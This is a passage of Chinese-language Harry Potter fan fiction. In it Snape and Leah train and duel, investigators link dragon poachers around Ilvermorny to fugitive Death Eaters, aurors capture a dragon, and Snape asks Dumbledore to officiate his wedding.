斯内普扯了扯嘴角,侧过身,下颚抵在她的额头,好像就是要报复地把身上那种高热烙在她皮肤上般收紧环抱。 “……快睡。”被子下的腿交叠在一起,他也合上眼睛,任由自己沉浸在她的温润中。 是这样的,自从蕾雅的龙炎伤口不再会疼痛后,她就拉着斯内普在魔法国会的训练室开始康复训练。 斯内普才了解到,原来傲罗们每一日都会进行基础的体能锻炼和魔咒练习,当然,必不可少的还有防护咒语与幻影移形的强化训练。 这个白天也如此。早上埋首于档案室,查找近几年有关那片山脉偷猎团体的相关新闻。吃过午饭,离跟艾米莉·科瓦尔斯基的约定时间还有一个多小时,他们就在训练室酣畅淋漓地决斗一场。 这总是会让斯内普不可自抑地回忆起那年夏天初次训练她的场景,只是情况已然不太一样。 他刚抬手抵消掉她的一发清水如泉,蕾雅就从另外一边显现,魔杖直指他的前襟。他抿起嘴唇,急速侧身躲避,顺势沿着她惯性的方向欺身向前,拨开她紧随的一记漂浮咒和障碍重重,接着反手一道白光甩出——然而,那个地方已经没有她了,再下一秒,斜上方有聚集起的庞大魔力波动,抬头,似有一场风暴盘踞在他的头顶。他立即冷静幻影移形离开原地,保险起见,同时召出一圈铁甲咒。 风暴却忽而消失,变为重重沉降的流沙,宛若一场固体海啸扑涌拍岸,地砖都被猛然炸开——一声震耳欲聋的颤动,来不及去思考,他回头躲避,转身之际—— “胜负已分,除你武器。”蕾雅轻轻地说,她从他背后骤然出现,不对,不是背后——而是——晚了,他的魔杖已脱手,而她的魔杖稳稳抵在他的喉咙。 “今天就到这里吧,明天我们试试不用幻影移形。”斯内普伸手扣起面前人的小臂,一拉,她整个人就靠在他的臂弯里。他握住她拿魔杖的手,朝向地面:“Accio。”以她的魔杖召回自己的魔杖。 “擦干净汗,别弄湿刚愈合的伤口。”他边说,边以左手拔开她颈间的湿发,施展下干燥咒。 “我好着呢,手感也很好。”蕾雅用手给自己扇了扇风,长长地吁了一口气,“要是之前有人陪我做这些训练,也不至于被那个哈文有可乘之机。” “那是因为你没有多少实战经验,更别提对上一条龙。不过,从这两天的表现来看,我显然已经没什么能教你的了。就灵活性和魔咒运用来说,你已经超出大部分巫师了。”斯内普如实评价道,“最后趁我还在这里的几天,我想验证一下半夜我提过的话。” “嗯?你说了什么来着?”蕾雅没能立刻想起来,只好疑惑地看斯内普从墙边的器材暗格召唤出三具练习用人偶。 “控制魔力。”斯内普提示她,“神锋无影,试试只攻击一个人偶。” “啊。”她应了一声,抬起魔杖直对那排人偶,“神锋无影!” 无色无形的魔力波迅猛散开,两具练习人偶被击倒在地,飞散的木板簌簌坠落。 “恢复如初。”斯内普修好人偶,微微颔首,“比之前好多了。但魔力仍然过于扩散。再试一次,集中精神,只锁定一个目标。” “神锋无影!”她倒是毫无犹豫就甩出魔咒,但结果跟之前没有什么区别。 “恢复如初。”斯内普走到她身后,扶住她的右手,如刚刚那样握着她的手指向那具人偶,低声说:“让魔力放松一点,再来一次。” 他的触碰和气息令蕾雅定下心神。她调整过呼吸,站得更正一些,定睛盯住正中的人偶,这次没有像之前那样只想造成猛烈攻击,而是放缓动作,就感受到属于斯内普的魔力沁入她的指间。她紧了紧魔杖,低声轻念:“神锋无影!” ——“哗啦”,正中的人偶应声炸裂,被二人魔力加强过的咒语破为细小的木屑,如千根利箭弹射出去,深深嵌入两侧的人偶与后方的防护墙壁。 “很好,记住这种感觉。”斯内普松开她,随后把修好的人偶们收回暗格。他拿出口袋里的怀表瞄了一眼,收起魔杖,“走吧,时间差不多。” “好的,斯内普教授。”她在男人平淡的神色中调皮地眨了眨眼,“总觉得回到了学生时代,不过那会儿你可严厉多了。” “有没有可能,”斯内普的嘴唇卷曲一下,面上浮现他平日不留情面的讥讽,“如果不对你们严厉一点,你们根本不会把教授放在眼里?更别提端正态度学到什么。”尤其是,格兰芬多。后半句话他少有地没敢说出来。 “是,谢谢您,斯内普教授。”蕾雅乖巧而亲昵地挽住他的手臂,两人一同离开训练室。 其实对于斯内普来说,又何尝不是呢? 自从霍格沃茨毕业了以后,他极少有这样能“切磋”的机会。一是他的身边不会有人敢挑战他,二是能及得上他能力的对手本身就很少。所以此时,他莫名地感慨,有她在身边意外地不错。 美国魔法国会的档案室设置在顶层,比英国魔法部的要大得多,毕竟这里存有全美各地的资料。不仅涵盖巫师世界的,也包括麻瓜们的新闻记录。他们步入大厅,一个巨大的金色看板垂坠在中间,看板的表面有一串数字不断地翻转,犹如永不停歇的溪流:现存资料,2,847,360,921份。 这里的整个空间延续了一楼的国会门厅的开阔设计。恢宏的中空大厅四周布满落地的玻璃幕墙,整体装潢色调是华丽的金铜。午后的阳光就那样不加阻拦地洒入,跳跃在映出淡金光泽的书架和横飞在头顶的档案卷宗间,整个场景像是悬浮在天空之城般的不真切。 蕾雅怀抱早上整理好的卷宗和一叠《纽约幽灵日报》,走进已被这个案件占定的档案室。显然,比起昨日,桌上的资料又增加不少,整个房间都有悬浮在半空的文件,像个羊皮纸迷宫,而艾米莉和昨天才出院的乔纳森已经在那里埋首讨论。 “斯内普教授,蕾雅。”见到两人,艾米莉展露一个友好的笑容,“看来又在训练室决斗过了?” 几天的接触下来,蕾雅总觉得这位已过五十的女巫身上有种与生俱来的气质,大约是遗传自她的母亲奎妮。那是一种天生的典雅雍贵,配上微卷的金发和精致的妆容,总能让人在不经意间放松警惕,被她牵着谈话,继而被那双盈满笑意的浅色眼睛洞察个透彻。 也是这样,在第一次见到蕾雅和斯内普的那一刻,她就敏锐察觉二人之间不一般的关系。 “嗯,下午好,科瓦尔斯女士。”蕾雅有礼地打了个招呼,偏过头,看向一旁的男傲罗:“乔纳森,好些了吗?”在看见乔纳森露出的手臂上那些蜿蜒丑陋的粉红色伤疤时,蕾雅不由地从心底开始感谢斯内普的细致与坚持,她是真的没怎么留下疤痕。 “行动没什么问题了。顺带一提,你的新发型也不错。”乔纳森回答,挤出个还算谦虚的微笑,转而面向旁边的冷脸男巫:“这位一定是霍格沃茨的斯内普教授了,我是乔纳森·班尼特,您好。” “嗯。”斯内普只是冷淡地点了点头,他的眼神已然定格在桌面的文件,便平直漠然地开口:“让我们别浪费时间废话,今天有什么进展?” “刚刚从伊法魔尼那边收到了一份最新标记的地图。”艾米莉以魔杖指了指,“又新发现几处帐篷点。真奇怪,之前明明没有任何迹象的,一下子就发现这么多。” “也许只是我们之前没注意到,或者,没想过要去注意。”乔纳森接过话,“谁能想到啊,这个团体隐藏得这么深。如果不是他们这次靠近了伊法魔尼,恐怕还会继续潜伏下去。” 与英国不同的是,美国的国土面积辽阔,人烟罕至的地方非常多。这不仅利于偷猎团体行动,也催生规模庞大且错综复杂的地下产业链。 “我们早上往前翻查了前两年的资料,”蕾雅走到桌旁,摆下手中的卷宗报纸,俯前身指着几则被她做过笔记的报道,“这几处,我想也是他们的。” “也就是说,这个团体其实早就在这些区域活动了。”艾米莉说,“我这两天是有一个想法。来吧,我们把这两年的地图和最新的标注整理在一起,看看能不能验证我的猜测。”说完,她已指挥着周围无关的资料全部自动垒成一叠,放到墙边的侧柜。 几个人马上分工照做,不一会儿,桌面上已出现三份标记好的地图。 “这几天,我和斯内普校长在整理卷宗的时候就在讨论,”几张地图按照年份铺开,蕾雅顺手将右侧的垂发别在耳后,凝视着图纸道:“就按之前的来说。这些帐篷分布是不是有规律?你们看,他们几乎都沿着山脉的溪流、河岸线分布,只有少数几个是例外。但当我看到最近的这幅地图,又觉得不是这样,它们突然变得分散了许多。”她的手指追随着落到最近的那幅地图上的红标。 “没错,我也注意到了类似的现象。”艾米莉赞同道,“虽然我们找到的帐篷分布新旧不一,但是我很肯定,这跟他们的龙有关。” “那是一条乌克兰铁肚皮龙,这种龙不算常见。”乔纳森摊开手边一本《魔法世界与古老的龙》,“这种龙体型大、破坏力极强,偏爱温暖湿润的环境。根据汉密尔顿主任的推测,我们遇到的是一条雌龙,而现在正值产卵的季节。如果以这个推测来看,由于美国的气候与它的原栖地不同,他们必须为它找到适合产卵的环境。所以——” “Accio。”没等他说完,斯内普抬手传来一本叫做《美国自然地理》的麻瓜书册。他直接翻到之前讨论中贴上书签的“格雷洛克山脉”一页,将书页扩大至与桌上的地图大致相同的尺寸。 蕾雅注意到斯内普拉过一张地图覆盖在书上的动作,很有默契地抽出魔杖:“荧光闪烁。”她的魔杖搁置在书页后方,映出一道炽白的光线,照透叠在上方的地图标记。 “分布大致符合等温线,顺沿河流。每到这个季节他们在这个山脉取得龙卵,而六月之前,他们会去更温暖的地方,比如说……西海岸?”斯内普眯起眼睛分析起来。 艾米莉认同地点了点头:“不错,虽然这个假设十分大胆,但确实是最合理的解释,尤其是考虑到之前布鲁克林的事件。只是……”她叹一口气,拿起最新的地图,替换走斯内普前方的,魔杖尖抵住许多不符合等温线的红点,“您看。” “我之前就注意到了。”斯内普没有为她的话讶异,只是了然平静地扫视艾米莉递来的新地图。他不紧不慢地拾起手边的羽毛笔,蘸过红色墨水,扬起唇角,“我建议我们,再做一个更大胆的假设。” 羽毛笔在纸张上干净果断地划成一个圈,拖拽而出格外显眼的鲜艳红色,“虽然并非完美契合。”他说。 “中心是伊法魔尼……?”蕾雅脱口而出,她的视线挪向身边的男巫,仿佛是想得到他进一步的确认般:“之前逮捕的那个巫师不是说……” “他们的目标是伊法魔尼。”乔纳森也在仔细观察,他的目光游移于各个红点,手指不自觉地翻动着另外两张叠放的地图,话音有几分犹疑:“可仅凭这个,我们最多只能再一次验证那个巫师的证词。如果没有明确的大规模进攻计划,实在很难解释为何要将这些帐篷布置成类似包围圈的模式。而且……”他顿了下,皱起眉毛,“这些帐篷并非同时出现,我们将它们连成线,是不是有些……草率?” “你的推测有一定道理,但不完全准确。”斯内普探出手腕,黑衣袖口下那枚银色袖扣泛出冷峻的寒光,正如他本人的洞察力一般凌冽,“再看。”他再次以羽毛笔勾出地图上指示地形的标记。 “险峻的山坳,溪流,潜在洞穴,神奇动物巣窝附近,还有密林最为纠缠的地方。”艾米莉手扶下巴,若有所思地闭了闭眼,思考着斯内普的话:“这……” “只能说,沙克尔部长觉得应该把我放在这里帮你们,并不无道理。”看到三人面面相觑的模样,斯内普颇为满意地坐回椅子上,“虽然,如果你们把这张地图拿给伊法魔尼校长看,他应该也会得出与我相同的结论。” “别卖关子了,斯内普校长。”艾米莉投降的眼色投向黑发巫师。 斯内普淡然笑笑,羽毛笔搁回笔架,抱起双臂稍稍靠在椅背上,声音沉静又笃定,如同一位了然洞穿棋局的胜利者:“如果我的猜想没错的话。不,应该只有这么一种解释——他们在寻找能进入伊法魔尼城堡的密道,或者说,学校地下的某种什么东西。并且,这种突然不寻常的分布模式正说明了,这并不是这个团体原来的任务,而是——临时受什么人之托。” “黑巫师?食死徒?”艾米莉顿时领会他的意思,她捧起那张地图瞪大眼,顺沿斯内普留下的记好连接出几条红线,转而审视那些曾被忽略或未曾联想到的地势,“您的意思是说……那些人委托了这个团体?” “是黑巫师,也是食死徒。”斯内普冷静回答,深不可测的黑眸此时凝练住寒凉的锋芒,锐利得能将面前的疑问都斩断:“据我所知,伏地魔死亡后未被追捕到的食死徒里,仍有如此财力和海外势力的家族,只有一个。” “啊!”蕾雅猛然间反应过来,那些刚入职时整理过的档案就在这刻涌上心头。她迅速转过头,对上斯内普的目光。 斯内普沉默片刻,视线不自觉停留在她修剪过后显得干净利落的齐肩短发,与耳垂上的绣球耳钉。他缓缓点头,给了她一个肯定的眼神,“我会跟金斯莱说这件事。” …… 即便背靠在一棵山胡桃树下,帽檐还是早就被汗水濡湿。她屏住呼吸,眼前是热辣的艳阳炙烤着大地,一切都像要在这炽热的午后凋零。周围太安静了,除了顽皮的小动物和微风时不时拨响树叶外,没有一丝声音。 这是最后一顶帐篷。没有受伤的两国傲罗们一同布置了一个半径两百米的包围网,屏息以待。汉密尔顿是这次行动的主导,身为一位熟知神奇动物的高级傲罗,他还拥有丰富的捕龙经验,是英国傲罗里少数曾在罗马尼亚特训过的巫师。 确认过部署无误,汉密尔顿一刻不再等待,他的魔杖牵动着撤除掉隔绝帐篷的咒语。下一瞬,他探出身高举手臂——几乎与此同时,四五道闪烁红光的魔咒猛地撞向那顶黑色的帐篷。 呼啸的强气流掀起,帐篷被即刻撕裂碎散。一个阴影踩着慢悠悠的步子走出来,举起双手,其中一只手上还握着魔杖:“哇哦,你们这些傲罗真的是阴魂不散啊。我都躲到这里了。” “是他。”站得稍后的蕾雅,魔杖直指对方,无法遏制的怒气凝固于她的语调,“这次,我们可不会再让你逃了。” “哦,美丽的小姐,你恢复得真快,感谢我吧,没伤到你的脸。”哈文吹了个轻佻的口哨,脸上带着戏谑,“我不得不承认,你的摄神取念的确用得不错。这次带了多少人,让我数数?一、二、三……仅凭这么点人,你们就觉得能对付我的龙?” “已经足够了。”汉密尔顿沉着回应,他的身上散发自信坚定的威压。他敛住神情,直视哈文:“这里是你的终点,交出龙,自首。或许魔法国会还能给你减轻刑罚的机会。” “除你武器!”没等哈文回答,隐匿在一棵树后 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Momentum!”勉强稳住身形的蕾雅,动作极为迅猛,龙蛋安然无事地悬停在离地十厘米的高度。她的手一挑,“Accio!”龙蛋直直飞向她的方向,探出的双手用力护住,之后轻飘飘地念出幻影移形的咒语。她带着龙蛋一起显现在远离哈文的地方,生气地大喊一句:“你真烦人啊,还有什么招数吗?继续扔,我们跟得上你的节奏。” “昏昏倒地!”趁哈文注意力被蕾雅吸引的瞬息,哈利的魔杖迸溅出一记昏迷咒——“速速禁锢!”罗恩和乔纳森异口同声地使出魔咒,另一位傲罗快速将魔法手铐扣住他,给出一发锁舌封喉咒。 被两个傲罗硬生生擒住拖到一边的哈文,只剩下错愕的表情和怒瞪的双目。 然而,逮捕他完全不能意味这次行动的结束。 伴随着咆哮号叫的飓风,一阵强烈的魔法气压猛猛扩散,积年累月的枯叶树枝都毫无抵抗地被卷起,沉降,再纷飞,宛如飘在六月里的飞霜怒雪。 汉密尔顿面不改色,屹立在离破碎帐篷不远的地方。猎猎的风将他的皮夹克高高吹起,他面色严峻,紧盯大地一点点裂开的缝隙,以决然的声音命令道:“要来了!其他人,保持队形!”他在一瞬间转头,低吼:“蕾雅,回到你的位置上去!” “明白!”蕾雅抱紧龙蛋,幻影移形回到预定的站位。 就在那个帐篷的位置,土地忽然被强大的力量撕开。震天动地的一声龙啸盖过了所有的风声,极强的魔力气流震碎了周围的每一寸空气。顷刻,巨龙从地底钻出,冲天腾飞,怒吼着掀动翅膀,随之而来的风压让傲罗们不得不悉数蹲伏跪地,呈现出一种臣服的姿态。 那的确是一条极具压迫力的雌龙,在粲然的阳光下,通体乌黑的鳞片闪耀出七彩的光泽,一双没有任何感情的猩红龙瞳满载愤怒,如同燃烧不息的怒焰。它狂啸着、扑腾着,硕大的利爪猛地拍击地面,扬起遮天蔽日的尘土,喉间的鲜红烈焰蓄势待发,那是无尽的、真实的龙炎—— “各位,别害怕。也别激怒她。”汉密尔顿用一种沉稳的语气道,他把魔杖抵在胸前,“前排,铁甲咒!” “Protego Maxima!”以他为首的傲罗们瞬间构建起连绵坚不可摧的防线,挡下迎面第一波龙炎。高温包围了他们,烈火撞击在淡白色的光弧上,炙热的气流旋即沿着半圆屏障窜流四周,沿途的树木都被点燃焚烧,密集的树林在刹那间变成一片凄然的火海,但又被傲罗们之前布下的魔法能量场控制住火势。 僵持不下数分钟,龙炎慢慢减弱,汉密尔顿立即下令:“剩余的人,束缚咒!” “速速禁锢!”一直埋伏在树林各处的傲罗们齐齐现身,数十道银光魔咒一同涌向巨龙,如森凉的银蛇攀上巨龙的头颈、翅膀、四肢。龙发出一声激荡的怒号,傲罗们却罔若置之,只专注于同心协力后退,绷紧每一道坚韧强大的魔法绳索,将雌龙压低匍匐,束缚在地面上。 紧张骇人的对峙仍在继续,浓烈焦黑的烟雾翻腾四散。龙痛苦极了,疯狂扭动庞大的身躯。龙口张开又闭合,不住想要再度凝聚起毁灭的焰火。站在最前面的汉密尔顿绷紧脸,从夹克口袋取出一瓶魔药,一手维持自己的防护咒,一手看准时机将魔药抛入龙嘴。 瓶身在接触到龙嘴高温的一瞬融化,原也是被施加了缩小咒的魔药,恢复原形的药液就像是一道滚烫的溪流,一丝不落地滑进龙的喉咙。被苦药呛得不轻的巨龙扬天嘶吼一声,宽阔的翅膀拍打数次,吐息越发沉重。 “坚持住,各位。”汉密尔顿平稳而笃定的话音穿透一切火烟,是这片火焰地狱中傲罗们的定心剂,“再坚持一会儿,马上,我们就能控制住这条龙!” 果然,他的预判立刻得到验证。原本死死紧绷的魔法绳索忽而开始松弛,巨龙的挣扎力度渐渐减弱,终于,脊背一弯,拖着千斤重量轰然倒地。幸好傲罗们严密保持铁甲咒,没有被冲击力抛向半空。 汉密尔顿走上前,谨慎地给雌龙甩出几发睡眠咒,打开随行的魔法生物捕捉箱,将龙连同蕾雅交出去的龙蛋稳妥收入其中。这次伊法魔尼的现场任务算是真的结束了。 …… 而时间往回拨一些,就在龙啸声响彻整座山脉的时分,伊法魔尼魔法学校的气派铁门缓缓向两边敞开,迎来两位不寻常的客人。一位是美国魔法国会的资深傲罗,另一位则是来自大洋彼岸的出乎意料的访客。 斯内普的黑袍翻滚在他的身后,他和艾米莉正跟随这所学校看守人的引领,踩上通往校长室的阶梯。 若是平日,他或许会有心情戴上一张得体谦和的面具,趁这个机会与伊法魔尼魔法学校校长探讨学校运行模式。 但今日显然不是谈论这些事的时候。 “西弗勒斯·斯内普,霍格沃茨魔法学校现任校长。我想我们是通过信的,如果我没记错的话。” 伊法魔尼校长室的门刚一关上,斯内普就大步走到房间中央,艾米莉紧随其后。 “哦,您好。没错,在您刚上任时,我确实写过一封祝贺信,只是您没有回我。现在想来您那会儿该是无暇顾及其他,并非有意不回。”撒迪厄斯·霍桑轻笑道。他一头金发整齐地梳向脑后,身穿一袭深栗色魔法长袍,袍底缀满金色藤蔓刺绣,藤蔓的尖端绽放着朵朵星辰,很是灿烂。 稍稍欠身,霍桑的眼尾掠过斯内普的银戒,微笑恭敬地递出左手:“撒迪厄斯·霍桑,如您所见,我是这所学校的校长。没想到会在这种情况下见到您。我没猜错的话,您的恋人现在正在山下的那场行动中?我想这也是您现身美国的原因吧。” 又是一只老谋深算的狐狸。 斯内普在心中暗笑到。 “之前是我的疏忽,看来您也确实消息灵通。”斯内普微微一笑,脸色平和得看不出一丝破绽,他伸出戴着戒指的左手与霍桑的手交握住,很快松开,朝艾米莉偏了偏头。 艾米莉弯起红唇,温和友善地走上前,从随身的工作包中拿出一份经过详细标记的地图,交给霍桑。 “实不相瞒,我有买您的传记。您要知道,英国那场战争可是轰动了整个巫师界啊,尤其是您潜伏多年的事迹。”霍桑边说着,略带轻松地接过地图,没急着拆开,继而赞赏般道:“我不得不说,您的勇气和毅力都非常令人钦佩,也难怪您如此年轻便获得阿不思·邓布利多先生的赏识。” 他的话中充满恰到好处的敬意,眼神更是窥探般打量着斯内普。见到斯内普没有为这些恭维动摇的意思,他从容不迫地将地图铺展于他的桌面,面上依旧保持波澜不惊的笑容。 “让我们别把话题绕远,霍桑校长。我今天是代表英国魔法部,并不是代表霍格沃茨或者我个人来的。”斯内普嘴角的弧度亦没有变化。他往前几步,清了清喉咙,开门见山地说:“请看这张地图。所有标记都与魔法国会记录的伊法魔尼密道相吻合,甚至比那更多。我们此行,只是想向您咨询,伊法魔尼的地下到底藏有什么东西,让这伙人如此执着?” 霍桑的眼睛微不可察地闪烁一瞬,表情似乎有层暗云漫上,显现出与之前不同的冷然保守姿态。艾米莉见状,耐心婉转地抛出说服的话语:“是这样的,霍桑校长,相信您也听说近期发生的事件。我们已经查明,这些人或许与从英国逃亡的食死徒有所关联。我们需要您的协助信息,推断他们的下一步计划,确保他们不会进一步对伊法魔尼造成伤害。” 霍桑轻哼一声,只看了地图一眼就撇开视线。他在房中迟缓踱步,坐回那张装饰着伊法魔尼四院象征的校长椅,手指漫不经心地摩挲椅子扶手上的长角水蛇,好像是在组织语言那样静默许久,才抬头直视斯内普深沉凛然得无一点破绽的面庞,娓娓道:“同为魔法学校的校长,您一定清楚,魔法学校的选址从来都不是偶然吧?” “无论是古代遗物、魔力源泉,还是那些至今未被完全解释的神秘力量。——又或者说,按照我们一些东洋学生的称呼,是‘风水宝地’、‘灵脉之流’的汇聚地方。您觉得他们在找哪一种呢,斯内普校长?” 93.见证 “伊法魔尼的校长是这么说的?” 矮桌前的发须皆白的老人抖平报纸,没急着读报,只一脸难以置信地望向办公桌前的男人。 “嗯。”靠在高大的椅子上的男人沉闷回答一声。他的右手掂起封蜡刀,划开猫头鹰送到不久的信件,那信封口处是魔法部部长专用的徽章。“后来美国傲罗再怎么追问,伊法魔尼的人也不肯透露半句。只说那里的东西受到强大且古老的魔法加护,不会轻易落入无关者之手。至于幕后黑手……” “他们不肯说也正常,西弗勒斯。”邓布利多很直接答到:“换作我和你,也不会轻易透露霍格沃茨的秘密。” “等等,”斯内普像忽而想起什么般打断自己手上拆信的动作,“这里不会也藏有什么不可告人的秘密吧?”说完,他双眉颦蹙,指了指桌上的小钟,“前段时间,禁林的警报响了。只是我跟德拉科什么也没找到。” 邓布利多的面上略微划过一丁点讶异,顺着他的话做出思考的模样。不久,他的左手轻飘飘地把报纸翻到下一页娱乐版,盯住一则笑话商店的趣事报道,开始斟酌:“就据我所知……” “嗯哼——”一声刻意压低的轻咳从头顶飘来。 “怎么了?菲尼亚斯?喉咙不舒服?”邓布利多反应得极快,马上就发现是墙上画像里的男人在引起他们的关注。他暂时按下报纸,偏过头,透过半月形眼镜端详那副复古精致的画。 雕花镶嵌的画框中,穿着华丽的菲尼亚斯·奈杰勒斯·布莱克从他的椅子上坐直身,打了一个不加掩饰的哈欠,看上去是刚睡醒没多久。他揉着眼,随意地抬手掂了掂他的山羊胡,“原谅我,两位校长。我并不是有意偷听你们的对话?只是在梦中碰巧——听见了,你们好像在讨论伊法魔尼和霍格沃茨的秘密?” 斯内普与邓布利多快速交换一个眼神,后者对画像摆摆枯黑的右手,似是在打招呼:“噢,是的,你既然听见了,想必也是乐意和我们分享点什么吧?关于霍格沃茨,我们还不知道的事?” 斯内普也站起来,双臂交叉倚在办公桌旁,朝向画像颔首补充:“有劳布莱克校长详细说说?” 菲尼亚斯慵懒地撑着金饰浮雕的画框边缘,似笑非笑地眯起眼睛,摆出一副矜持又做作的神情,“或许的确有一些你们应该知道的事。事实上,霍格沃茨的地下曾有过大量古代魔法遗存,可能是学校建立之前就已存在的东西。我想,四位创始人才会选在这里建校,正如伊法魔尼校长的说法。” “曾经?”斯内普警惕追问,“你的意思是现在已经没有了?发生过什么?我不记得我有看过相关记载。” “那当然没有。”菲尼亚斯得意地扬起唇角,“也都一百年前的事了,正好是我在任的时期。我想想……啊,那可是一位拥有古代魔法才能的学生,五年级的时候进入霍格沃茨就读。你们觉得,这样特殊的记录能被留下来?”(1) “哦?”邓布利多饶有兴致地挑眉,满眼镜都是好奇的光泽:“一位五年级才入学的学生,而且还拥有古代魔法的天赋……霍格沃茨的档案里竟然没有关于他的记录?” “她。”菲尼亚斯纠正道,随后发出一声轻哼,“我想你们也清楚,这种记录一旦被留下来,会引起什么样的争端和麻烦。和当时诸位的教授商量过后,也咨询她本人的意见,我们决定抹去她在霍格沃茨的痕迹。” 斯内普没有出声,一向阴沉的面庞越发低暗下去,是冰山下的深洋那样不可测。 菲尼亚斯这话并不假,老魔杖的故事足以证明,巫师界对强大魔法的贪婪与追求从未消失。斯内普很罕见地觉得菲尼亚斯竟然说了句有用的实话。 “你们只需知道,最后在当时教授们的齐心协力下,那孩子利用她的天赋掌控霍格沃茨残存的古代魔法,并将其彻底封印。她毕业后也销声匿迹了,或许是回到麻瓜世界。”菲尼亚斯说到这里,傲慢地咂咂嘴,再度打了个明晃晃的哈欠,“所以,你们没什么要担心的。我早在一百年前就替你们解决掉这个麻烦。” 斯内普再次对上邓布利多的眼色,手指在臂弯处不自觉敲击,思索后开口:“这倒算是符合霍桑对我说的事,那么,如果是按照这个方向推测,结合种种。”他非常烦地啧了一声。 “很感谢你提供这些信息,菲尼亚斯。”邓布利多若有所思地说。画中的前任布莱克校长听到评价便自豪地点点头,将身体重新摊放在椅上,拉下宽大的帽檐,准备陷入他的长眠。 邓布利多收回视线,转到桌旁的黑发男巫那侧:“西弗勒斯,美国那边的审问结果怎么样了?那封信是金斯莱寄来的吧?” “嗯。”斯内普边说着边抽出那封拆到一半的信件,快速阅读起来:“看来,美国那边连日的审讯结果,的确验证了我跟她的推测。” 老巫师闻声,终于折好手中的《预言家日报》,搁置在沙发一旁:“我记得……那个家族在战前就撤出英国了吧?唯一能追踪到的线索,等等,我没记错的话,是法国?” “是。”斯内普不耐地抿了下唇,从办公桌边走过来,将信件递给邓布利多,平静地道:“金斯莱的意思是先静观其变,等傲罗们正式回来了再启动调查。到时候,布莱克、纳西莎、安多米达都会被要求协助。” 他话音刚落,就察觉到邓布利多蓝眼睛中弥漫的一抹忧虑,于是继而说道:“我知道你想说什么。三强争霸赛,我觉得金斯莱确实是想将之当个引蛇出洞的机会。” “只怕又会导致学生们的受伤啊。”邓布利多面容凝重地读了一会儿信,低叹一口气后,俯身端起矮桌上的白瓷茶杯:“真是一波未平一波又起。这次,他们又要谋求什么呢?” “实话说,我有一种不好的预感。”斯内普的话音带着令人不安的阴郁,宛如那场暗沉三天迟迟未能降下的雾雨,压抑到闷重。 “是什么,西弗勒斯?”邓布利多放下喝到一半的奶茶。 面对老人热切的眼色,斯内普略微停顿,内心挣扎着权衡是否要把这个盘桓许久的推测道出口。不过…… 他抬起魔杖,召来办公桌上凉透的红茶,饮下后,尽量维持语调的平直:“考虑到那个家族的背景和撤出英国的时机,我觉得这次的事——很可能会与格林德沃有关。” 如他所料,他的确注意到这个名字说出的时候,对方的眼尾几近不可察地跳动一瞬。尽管老巫师控制得极好,但一贯心细和善于观察神色的斯内普还是捕捉到这种细微的情感变化。 邓布利多很快敛住情绪,没有再表现出更多。他低下头,继续啜饮他的饮品,从容平和得就如在谈论他并不怎么关心的事:“合理的推测。” 就是这不多几秒的沉寂,让斯内普清楚感觉到,邓布利多有咽下了原本想说的话。 他没有拆穿老巫师。只是不紧不慢地回到桌前,抽出一份待批阅的文件,以同样不冷不热的音调道:“想起来,当时我在马尔福庄园收到的消息是,伏地魔因为得不到想要的老魔杖的情报,对他进行过大量的摄神取念,还灌下无数吐真剂。从那些蛛丝马迹中得到了别的有用信息也说不定。” 一点点品尝完奶茶,邓布利多抱起桌上蕾雅让斯内普给他带回来的糖罐子,挑拣了一颗榛果巧克力放到嘴里,“……也许。我不明白,西弗勒斯。”巧克力很甜,他的声音却苦涩得宛如在自言自语:“一个在纽蒙迦德监狱度过五十三年的人,还能有什么有价值的情报?”说着,他重新摊开金斯莱的信件,似乎想从中翻找到任何线索。 金斯莱的字迹依旧遒劲而干练,词句分明。 浅黄色的信纸被暖光映亮的一角,正是那些从校长室细长高大的窗棂外飘入的明媚。浅金色的光丝在这古老城堡的高塔之巅游走,有那么零星几点,猝不及防掉在邓布利多淡紫色的长袍,一些被挤压成那皱褶里的阴影,另一些又融化进了他袍上锦灿的明星。 对侧的斯内普拧了拧眉,不想推测邓布利多到底在想什么。他很明白,这个话题到这里必须截住了、再进行下去亦没有意义。 这时,他才隐约有些后悔提起这件事,他原来以为邓布利多会给出些有价值的见解,却没想到得到了预想外的反应。 于是,在这阵难堪的沉默之后,斯内普干脆撇开话题:“另外,还有一件事。”手指下意识地转动了下指间的银戒,他的心里的确仍有一事是需要与邓布利多商量的。 “任何事(Anything),西弗勒斯。”老巫师回过头,凝望显然在踌躇的黑发男巫。 如果斯内普此刻抬头,他定会看见那双深邃地湛蓝眼眸溢出的暖意,那是份足以让极地回春、朽木生花的柔和。 可惜,这位男巫可不会生花。 听见这个词,他只是静默片刻,以一种古怪阴冷的表情盯着那张苍老的面孔,那眼神生分到仿佛是在看一位全然不认识的陌生人,而且是隔着大半个国王十字火车站台,漠然眺望过路旅客的那种。 再一次冗长的沉寂。 最终,斯内普低垂眼睑,喉间哽住的那句酝酿许久的话,最终不大情愿地淌出来:“我们需要一个证婚人,阿不思。” 邓布利多不由自主地怔愣住一拍,而后随即了然地笑开了。 布满沟壑的面庞上,笑意却像是看见晨光破晓般纯粹。他发誓,这是这辈子从这个男人口中听过的最温和动听的话语。 刚刚弥漫在心的复杂情愫被轻易取代,他愉悦地摆正胡子上的粉紫蝴蝶结,嘴角已不可控制上扬:“看来美国这趟旅程,治好的不止蕾雅的伤啊,西弗勒斯。我是否该先说一声恭喜?那么,什么时候,在哪里?” 良久,斯内普换过一份羊皮纸,答道:“趁一切都还不太坏前。” …… 傲罗们返回英国的这一天,斯内普没能按照预想的那样亲自接到她。因为金斯莱在那之前将他们召集到一层的会议室,等待搁下行李的斯威克以及汉密尔顿前来会合开会。 会议的内容和进程,与他和邓布利多之前的推测大致无差:美国方面的审讯结果,这些情报对英国魔法部接下来的行动影响,马尔福、布莱克和斯内普协助调查的角色,以及最重要的——如何在近在眼前的三强争霸赛中作出周全的部署方案。 步出会议室的时间已是接近五点,与纳西莎告别后,被剩下的三人沿着长走廊行走一段。他们的皮鞋在大理石地面叩出清脆响声,渐渐被下班的魔法部职员们的谈话盖过。 在前面的唐克斯忽然回过头,目光奇异地游移在两位始终相隔一米距离的男巫:“你们……都要跟我上去吗?” “是。”布莱克毫不犹豫地点头。 “不。”斯内普没有迟疑地拒绝。 